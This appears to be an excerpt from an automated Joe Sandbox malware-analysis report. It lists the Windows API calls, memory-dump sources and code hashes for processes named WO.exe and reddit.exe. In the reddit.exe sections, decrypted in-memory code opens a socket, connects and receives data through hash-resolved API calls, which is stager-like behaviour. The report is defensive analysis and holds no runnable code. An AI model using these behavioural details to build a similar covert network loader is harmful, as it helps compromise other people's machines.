Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: ByteCharMultiWidemalloc
String ID:
API String ID: 2735977093-0
Opcode ID: 340bc02c17e4a8e241ea194c94348a7795e75439271f92f6ed283f878bcb1d35
Instruction ID: 61c3440d716b3c64d08436ee48054615140ae5ecb8d8084460387f48d4e9dd56
Opcode Fuzzy Hash: 340bc02c17e4a8e241ea194c94348a7795e75439271f92f6ed283f878bcb1d35
Instruction Fuzzy Hash: BB11C13260878082EB25CF26B41076AB7A4FB89BE4F140328EF9D57BE5DF39C0118704

Function 0000000140011668 Relevance: 5.0, APIs: 4, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000000014001167F
HeapFree.KERNEL32 ref: 000000014001169A
HeapFree.KERNEL32 ref: 00000001400116BC
LeaveCriticalSection.KERNEL32 ref: 00000001400116E2

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: CriticalFreeHeapSection$EnterLeave
String ID:
API String ID: 1298188129-0
Opcode ID: 5595f30b4037b9aa6adac2c161615a39573475ea320742baef4c0fe7d259a659
Instruction ID: 5186432533761a1e63310800083548d259c5d54e134ea9fda60ce401f62d664d
Opcode Fuzzy Hash: 5595f30b4037b9aa6adac2c161615a39573475ea320742baef4c0fe7d259a659
Instruction Fuzzy Hash: 76114C76600B4082EB5A9F53E5943E823A0FB9CBC5F4C8416EB091B6A7DF3AC4A5C300

Function 000000014000CE30 Relevance: 5.0, APIs: 4, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014000D140: memset.MSVCRT ref: 000000014000D1C3

Part of subcall function 0000000140011968: EnterCriticalSection.KERNEL32 ref: 0000000140011985
Part of subcall function 0000000140011968: HeapFree.KERNEL32 ref: 00000001400119E7
Part of subcall function 0000000140011968: LeaveCriticalSection.KERNEL32 ref: 00000001400119F4

HeapFree.KERNEL32 ref: 000000014000CE61
HeapFree.KERNEL32 ref: 000000014000CE74
HeapFree.KERNEL32 ref: 000000014000CE8F
HeapFree.KERNEL32 ref: 000000014000CEB1

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: FreeHeap$CriticalSection$EnterLeavememset
String ID:
API String ID: 4254243056-0
Opcode ID: 2bfe007ce864aac335da932a328f28b9e5c2ec482aeaf7599142f2e4e3f2ebe6
Instruction ID: bd40ed23f28c7418c8be6727045953eb2e8c2f29468db0d1e18b21a18f306043
Opcode Fuzzy Hash: 2bfe007ce864aac335da932a328f28b9e5c2ec482aeaf7599142f2e4e3f2ebe6
Instruction Fuzzy Hash: FD01C8B5600B8492EB06EB63E9903E923A1FBCDBD0F488416AF0D1B776CF39D4518740

Analysis Process: reddit.exePID: 5308, Parent PID: 1836COMMON

Execution Graph

Execution Coverage:	42.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	10
Total number of Limit Nodes:	3

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00690095 Relevance: 6.1, APIs: 4, Instructions: 81
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASocketA.WS2_32(E0DF0FEA,00000002,00000001,00000000,00000000,00000000,00000000,61040002,17DDB993,0000000A,?,?,5F327377,00003233), ref: 006900D5
connect.WS2_32(6174A599,?,?,00000010,?,?,5F327377,00003233), ref: 006900E1
recv.WS2_32(5FC8D902,?,?,00000004,00000000,?,?,00000010,?,?,5F327377,00003233), ref: 006900FC
closesocket.WS2_32(614D6E75,?,?,?,00000004,00000000,?,?,00000010,?,?,5F327377,00003233), ref: 0069013F

Memory Dump Source

Source File: 0000001B.00000002.2895931053.0000000000690000.00000040.00001000.00020000.00000000.sdmp, Offset: 00690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_690000_reddit.jbxd

Yara matches

Similarity

API ID: Socketclosesocketconnectrecv
String ID:
API String ID: 2083937939-0
Opcode ID: 84d56f8600d23d128e6293084ea8b9ff6e5c57e2ecd32b084406f59f59bbaeb3
Instruction ID: 327eec653f23560a16df2192c97ad8ff14f98007befe078a999dd95378402dd5
Opcode Fuzzy Hash: 84d56f8600d23d128e6293084ea8b9ff6e5c57e2ecd32b084406f59f59bbaeb3
Instruction Fuzzy Hash: A711C0B168029C3EF93022A29C47FBB291CCF42BA4F100025BB45FA5C1C8829C4481FA

Analysis Process: reddit.exePID: 7108, Parent PID: 6272COMMON

Execution Graph

Execution Coverage:	42.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	9
Total number of Limit Nodes:	3

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 004B0095 Relevance: 6.1, APIs: 4, Instructions: 81
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASocketA.WS2_32(E0DF0FEA,00000002,00000001,00000000,00000000,00000000,00000000,61040002,17DDB993,0000000A,?,?,5F327377,00003233), ref: 004B00D5
connect.WS2_32(6174A599,?,?,00000010,?,?,5F327377,00003233), ref: 004B00E1
recv.WS2_32(5FC8D902,?,?,00000004,00000000,?,?,00000010,?,?,5F327377,00003233), ref: 004B00FC
closesocket.WS2_32(614D6E75,?,?,?,00000004,00000000,?,?,00000010,?,?,5F327377,00003233), ref: 004B013F

Memory Dump Source

Source File: 0000001C.00000002.2895801436.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4b0000_reddit.jbxd

Yara matches

Similarity

API ID: Socketclosesocketconnectrecv
String ID:
API String ID: 2083937939-0
Opcode ID: 84d56f8600d23d128e6293084ea8b9ff6e5c57e2ecd32b084406f59f59bbaeb3
Instruction ID: 4986a570a3823d31c4fb244b7cc399561d3bb85c5cc1dab5fb55dd75d18e226f
Opcode Fuzzy Hash: 84d56f8600d23d128e6293084ea8b9ff6e5c57e2ecd32b084406f59f59bbaeb3
Instruction Fuzzy Hash: 5F116DB16802987EF5302666AC47FFB691CCB42BA9F104426BB45EA1C1C9969C4581FE

Analysis Process: WO.exePID: 6156, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	14.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	814
Total number of Limit Nodes:	20

Executed Functions

Function 000000014000D9C4 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 46
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400126D0: TlsGetValue.KERNEL32 ref: 00000001400126E2
Part of subcall function 00000001400126D0: HeapReAlloc.KERNEL32 ref: 0000000140012762

GetTempPathW.KERNEL32 ref: 000000014000D9F3
LoadLibraryW.KERNEL32 ref: 000000014000DA02
GetProcAddress.KERNEL32 ref: 000000014000DA1D
GetLongPathNameW.KERNELBASE(?,?,?,0000000140001F92), ref: 000000014000DA31
FreeLibrary.KERNEL32 ref: 000000014000DA38

Strings

GetLongPathNameW, xrefs: 000000014000DA13
Kernel32.DLL, xrefs: 000000014000D9F9

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: LibraryPath$AddressAllocFreeHeapLoadLongNameProcTempValue
String ID: GetLongPathNameW$Kernel32.DLL
API String ID: 820969696-2943376620
Opcode ID: 7b5facb765f8cdd7be91ebb16a2403b7b75564631065215e584da20e470a0f22
Instruction ID: 08c74a34c6d82e646fe97c561cc400b119dc1938ee8d5d8dcc972cb306c03a44
Opcode Fuzzy Hash: 7b5facb765f8cdd7be91ebb16a2403b7b75564631065215e584da20e470a0f22
Instruction Fuzzy Hash: 17116D31721B4086EF159F27A9843A967A1FB8CFC0F481029EF4E4B7A5DE39C8528340

Function 0000000140001E57 Relevance: 9.3, APIs: 6, Instructions: 259
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempFileNameW.KERNEL32 ref: 0000000140001FBF

Part of subcall function 00000001400121C0: GetLastError.KERNEL32 ref: 00000001400121C4
Part of subcall function 00000001400121C0: TlsGetValue.KERNEL32 ref: 00000001400121D4
Part of subcall function 00000001400121C0: SetLastError.KERNEL32 ref: 00000001400121F1

Part of subcall function 000000014000CA00: memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,0000000140002CF1), ref: 000000014000CA47

Part of subcall function 0000000140012210: TlsGetValue.KERNEL32 ref: 0000000140012223
Part of subcall function 0000000140012210: HeapAlloc.KERNEL32 ref: 0000000140012266

Part of subcall function 000000014000DA6C: SetFileAttributesW.KERNEL32 ref: 000000014000DA8C
Part of subcall function 000000014000DA6C: DeleteFileW.KERNEL32 ref: 000000014000DA95

Part of subcall function 000000014000D914: wcsncpy.MSVCRT ref: 000000014000D932
Part of subcall function 000000014000D914: wcslen.MSVCRT ref: 000000014000D944
Part of subcall function 000000014000D914: CreateDirectoryW.KERNEL32 ref: 000000014000D994

GetTempFileNameW.KERNEL32 ref: 0000000140002040

Part of subcall function 0000000140012210: HeapReAlloc.KERNEL32 ref: 0000000140012293

GetTempFileNameW.KERNEL32 ref: 00000001400020C1
PathAddBackslashW.SHLWAPI ref: 00000001400020CD
PathRenameExtensionW.SHLWAPI ref: 000000014000212E
GetTempFileNameW.KERNEL32 ref: 0000000140002153

Part of subcall function 0000000140012360: HeapFree.KERNEL32 ref: 000000014001237F

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: File$NameTemp$Heap$AllocErrorLastPathValue$AttributesBackslashCreateDeleteDirectoryExtensionFreeRenamememmovewcslenwcsncpy
String ID:
API String ID: 4232179356-0
Opcode ID: f37d14f45d1a2abd6f91fd25c4a0b9dbf2c58692b7ebd1d65ebe457cd595aad6
Instruction ID: 2ef6d83f5e2b3c8fb19d65fceeff62dc40447b47a2c1a218917e14d6a90cbc88
Opcode Fuzzy Hash: f37d14f45d1a2abd6f91fd25c4a0b9dbf2c58692b7ebd1d65ebe457cd595aad6
Instruction Fuzzy Hash: E38162FBE69644E5EA07B763BC86BED5220D3AD3D4F504410FF08062A3EE3995E64B10

Function 000000014000DE50 Relevance: 9.2, APIs: 6, Instructions: 151
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400112A8: EnterCriticalSection.KERNEL32 ref: 00000001400112C4
Part of subcall function 00000001400112A8: LeaveCriticalSection.KERNEL32 ref: 0000000140011355

CreateFileW.KERNEL32 ref: 000000014000DEED
CreateFileW.KERNEL32 ref: 000000014000DF37
CreateFileW.KERNEL32 ref: 000000014000DF7E
CreateFileW.KERNEL32 ref: 000000014000DFAC
HeapAlloc.KERNEL32 ref: 000000014000DFED
SetFilePointer.KERNEL32 ref: 000000014000E047

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: File$Create$CriticalSection$AllocEnterHeapLeavePointer
String ID:
API String ID: 2685021396-0
Opcode ID: bf349e5ae30ca8a1459a9c900c950eddfabbaec973a548aea2fdccc3e75a92be
Instruction ID: 9fd7d13fb8664e67d48ce56ae15862c74b29b4b7423edb5d501112f331116329
Opcode Fuzzy Hash: bf349e5ae30ca8a1459a9c900c950eddfabbaec973a548aea2fdccc3e75a92be
Instruction Fuzzy Hash: 2B51D4B261469086E761CF17F9007AA7690B39CBE4F04873AFF6A47BE4DB79C4419B10

Function 000000014000593C Relevance: 7.0, APIs: 4, Instructions: 980
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140012450: wcslen.MSVCRT ref: 000000014001246E

Part of subcall function 0000000140012210: TlsGetValue.KERNEL32 ref: 0000000140012223
Part of subcall function 0000000140012210: HeapAlloc.KERNEL32 ref: 0000000140012266

Part of subcall function 0000000140012210: HeapReAlloc.KERNEL32 ref: 0000000140012293

GetModuleHandleW.KERNEL32 ref: 00000001400061AE

Part of subcall function 00000001400121C0: GetLastError.KERNEL32 ref: 00000001400121C4
Part of subcall function 00000001400121C0: TlsGetValue.KERNEL32 ref: 00000001400121D4
Part of subcall function 00000001400121C0: SetLastError.KERNEL32 ref: 00000001400121F1

Part of subcall function 00000001400125D0: TlsGetValue.KERNEL32 ref: 00000001400125DA

Part of subcall function 0000000140007DC0: CharUpperW.USER32 ref: 0000000140007E24

Part of subcall function 0000000140001E57: GetTempFileNameW.KERNEL32 ref: 0000000140001FBF

PathRemoveBackslashW.SHLWAPI ref: 00000001400063A7

Part of subcall function 0000000140012520: TlsGetValue.KERNEL32 ref: 000000014001252A

Part of subcall function 000000014000C45C: SetEnvironmentVariableW.KERNEL32 ref: 000000014000C476

PathQuoteSpacesW.SHLWAPI ref: 00000001400064FF
PathQuoteSpacesW.SHLWAPI ref: 000000014000656B

Part of subcall function 0000000140007284: CreateThread.KERNEL32 ref: 00000001400072B3
Part of subcall function 0000000140007284: EnterCriticalSection.KERNEL32 ref: 00000001400072CC
Part of subcall function 0000000140007284: LeaveCriticalSection.KERNEL32 ref: 0000000140007344

Part of subcall function 0000000140012360: HeapFree.KERNEL32 ref: 000000014001237F

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: Value$HeapPath$AllocCriticalErrorLastQuoteSectionSpaces$BackslashCharCreateEnterEnvironmentFileFreeHandleLeaveModuleNameRemoveTempThreadUpperVariablewcslen
String ID:
API String ID: 2499486723-0
Opcode ID: 01fd8b8b98fab0c980f96e61b2251792a09e9ddd7d05bec7d734751dcc1b6e06
Instruction ID: 5e2f233be3bb1e1a489454234068146e28d45b36aeb09ace1181e30b51997f55
Opcode Fuzzy Hash: 01fd8b8b98fab0c980f96e61b2251792a09e9ddd7d05bec7d734751dcc1b6e06
Instruction Fuzzy Hash: 6C722BB6E25548D6EA16B7B7B8877E95220A3AD394F500411FF4C0B363EE39C5F64B10

Function 000000014000E620 Relevance: 6.1, APIs: 4, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32 ref: 000000014000E664
memmove.MSVCRT(?,?,?,?,?,000000014000E5DD), ref: 000000014000E69F

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: FilePointermemmove
String ID:
API String ID: 2366752189-0
Opcode ID: b4f1478b6fdc608b573b2d6bb241fddc82556d2816959310d2dbf51914ce2f41
Instruction ID: b9f44d82ba4cb6c24f152d63ce96d8852f082d92484b54d7365d071901ec84b9
Opcode Fuzzy Hash: b4f1478b6fdc608b573b2d6bb241fddc82556d2816959310d2dbf51914ce2f41
Instruction Fuzzy Hash: 7541837770468086DB01CF7AF1402ADF7A4EB98BD9F084426EF4C43BA5DA39C591CB50

Function 000000014000E3F0 Relevance: 4.6, APIs: 3, Instructions: 67
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32 ref: 000000014000E472
WriteFile.KERNEL32 ref: 000000014000E4D6
HeapFree.KERNEL32 ref: 000000014000E4E8

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: FileWrite$FreeHeap
String ID:
API String ID: 74418370-0
Opcode ID: 3e7180477ba1f40fccd38ab851f43380a29ccb8c1311c53bf450c0723d734870
Instruction ID: 9d08b72cfe526555b527e3d6fc60fa1eae748afb3cf0625e1a419d858907832f
Opcode Fuzzy Hash: 3e7180477ba1f40fccd38ab851f43380a29ccb8c1311c53bf450c0723d734870
Instruction Fuzzy Hash: 43317EB2205A8082EB22DF16E0453A9B7B0F789BD4F548515EB59577F4DF3EC488CB00

Function 000000014000E770 Relevance: 4.6, APIs: 3, Instructions: 51
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WideCharToMultiByte.KERNEL32 ref: 000000014000E7A9
HeapAlloc.KERNEL32 ref: 000000014000E7CA
WideCharToMultiByte.KERNEL32 ref: 000000014000E7F8

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: ByteCharMultiWide$AllocHeap
String ID:
API String ID: 3475569825-0
Opcode ID: 49eb562b8cb434ff95f7e7d63f5ecf434c56baadcc58e4f799a86c336de5446e
Instruction ID: ae5164d7e213c5423ce426761272d4060c1fe25f0e8d52ef4d31f29a04fa76ea
Opcode Fuzzy Hash: 49eb562b8cb434ff95f7e7d63f5ecf434c56baadcc58e4f799a86c336de5446e
Instruction Fuzzy Hash: D9112B72615B8082E754DF26B84435AB7A5FBC8BD0F148228EF9D63BA4DF38C5229704

Function 000000014000D914 Relevance: 4.5, APIs: 3, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncpy.MSVCRT ref: 000000014000D932
wcslen.MSVCRT ref: 000000014000D944
CreateDirectoryW.KERNEL32 ref: 000000014000D994

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: CreateDirectorywcslenwcsncpy
String ID:
API String ID: 961886536-0
Opcode ID: fa21f94af638c1889f77ff21a456a4ec01e86cfe5917c6a19cc66424906e9b15
Instruction ID: 5f5e6732187473c7e9a992da28a106256b0abf82a063e4d7cd37b44a9c7c83f6
Opcode Fuzzy Hash: fa21f94af638c1889f77ff21a456a4ec01e86cfe5917c6a19cc66424906e9b15
Instruction Fuzzy Hash: 100188A621264191EF72DB65E0643E9B350F78C7C4F804523FB8D036A8EE3DC645CB14

Function 000000014000B538 Relevance: 4.5, APIs: 3, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 000000014000B547
InitCommonControlsEx.COMCTL32 ref: 000000014000B561
CoInitialize.OLE32 ref: 000000014000B569

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: CommonControlsInitInitializememset
String ID:
API String ID: 2179856907-0
Opcode ID: 1d0403c036cf950124697b7ff717d38e0227670877df9763daf1147e72240267
Instruction ID: 449a974473b47bcf77cc2e9d1d873e7016711834fb404a36d393ff203d460c1f
Opcode Fuzzy Hash: 1d0403c036cf950124697b7ff717d38e0227670877df9763daf1147e72240267
Instruction Fuzzy Hash: E0E0E27263658092E785EB22E8857AEB260FB88748FC06105F38B469A5CF3DC659CF00

Function 0000000140012210 Relevance: 3.8, APIs: 3, Instructions: 51
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32 ref: 0000000140012223
HeapAlloc.KERNEL32 ref: 0000000140012266
HeapReAlloc.KERNEL32 ref: 0000000140012293

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: AllocHeap$Value
String ID:
API String ID: 3898337583-0
Opcode ID: 8fb7bdff1a5ea7f5a6416ebb7e65581105b868b3e6afb08efbefc70494558fec
Instruction ID: 13d1d2221b5dfffbe944c94766c5cf34ad854dcf92a9a233d77868c63a58341b
Opcode Fuzzy Hash: 8fb7bdff1a5ea7f5a6416ebb7e65581105b868b3e6afb08efbefc70494558fec
Instruction Fuzzy Hash: BA21A336609B40C6DA21CB5AE89136AB7A1F7CDBD4F108126EB8D87B38DF3DC5518B00

Function 00000001400029C8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetExitCodeProcess.KERNEL32 ref: 0000000140002ADD

Strings

open, xrefs: 0000000140002A68, 0000000140002A75

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: CodeExitProcess
String ID: open
API String ID: 3861947596-2758837156
Opcode ID: b7feb277e73c6429ec278226bbe6df587e3a7ad8db4220ec3f4f0566a99c26d5
Instruction ID: e85bff13557fc8eee7e7e221a0258bb1a2e766680f88975b06e903b36e14beee
Opcode Fuzzy Hash: b7feb277e73c6429ec278226bbe6df587e3a7ad8db4220ec3f4f0566a99c26d5
Instruction Fuzzy Hash: 44315E73A19A84D9DA619B6AF8417EE6364F388784F404415FF8D07B6ADF3CC2958B40

Function 0000000140001000 Relevance: 3.1, APIs: 2, Instructions: 112
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140012060: HeapCreate.KERNEL32 ref: 000000014001206E
Part of subcall function 0000000140012060: TlsAlloc.KERNEL32 ref: 000000014001207B

Part of subcall function 000000014000C980: HeapCreate.KERNEL32 ref: 000000014000C98E

Part of subcall function 000000014000B538: memset.MSVCRT ref: 000000014000B547
Part of subcall function 000000014000B538: InitCommonControlsEx.COMCTL32 ref: 000000014000B561
Part of subcall function 000000014000B538: CoInitialize.OLE32 ref: 000000014000B569

Part of subcall function 00000001400120D0: HeapAlloc.KERNEL32 ref: 0000000140012123

Part of subcall function 000000014000CCD8: HeapAlloc.KERNEL32 ref: 000000014000CD11
Part of subcall function 000000014000CCD8: HeapAlloc.KERNEL32 ref: 000000014000CD42
Part of subcall function 000000014000CCD8: HeapAlloc.KERNEL32 ref: 000000014000CDB2

Part of subcall function 000000014000D524: HeapFree.KERNEL32 ref: 000000014000D56E
Part of subcall function 000000014000D524: HeapFree.KERNEL32 ref: 000000014000D58F
Part of subcall function 000000014000D524: HeapFree.KERNEL32 ref: 000000014000D5A1

Part of subcall function 000000014000D444: HeapAlloc.KERNEL32 ref: 000000014000D476
Part of subcall function 000000014000D444: HeapAlloc.KERNEL32 ref: 000000014000D491

Part of subcall function 0000000140011D30: HeapAlloc.KERNEL32 ref: 0000000140011D82
Part of subcall function 0000000140011D30: memset.MSVCRT ref: 0000000140011DB6

Part of subcall function 00000001400120D0: HeapReAlloc.KERNEL32 ref: 0000000140012151
Part of subcall function 00000001400120D0: HeapFree.KERNEL32 ref: 0000000140012194

Part of subcall function 000000014000C4D0: RemoveVectoredExceptionHandler.KERNEL32 ref: 000000014000C8A5
Part of subcall function 000000014000C4D0: AddVectoredExceptionHandler.KERNEL32 ref: 000000014000C8C0

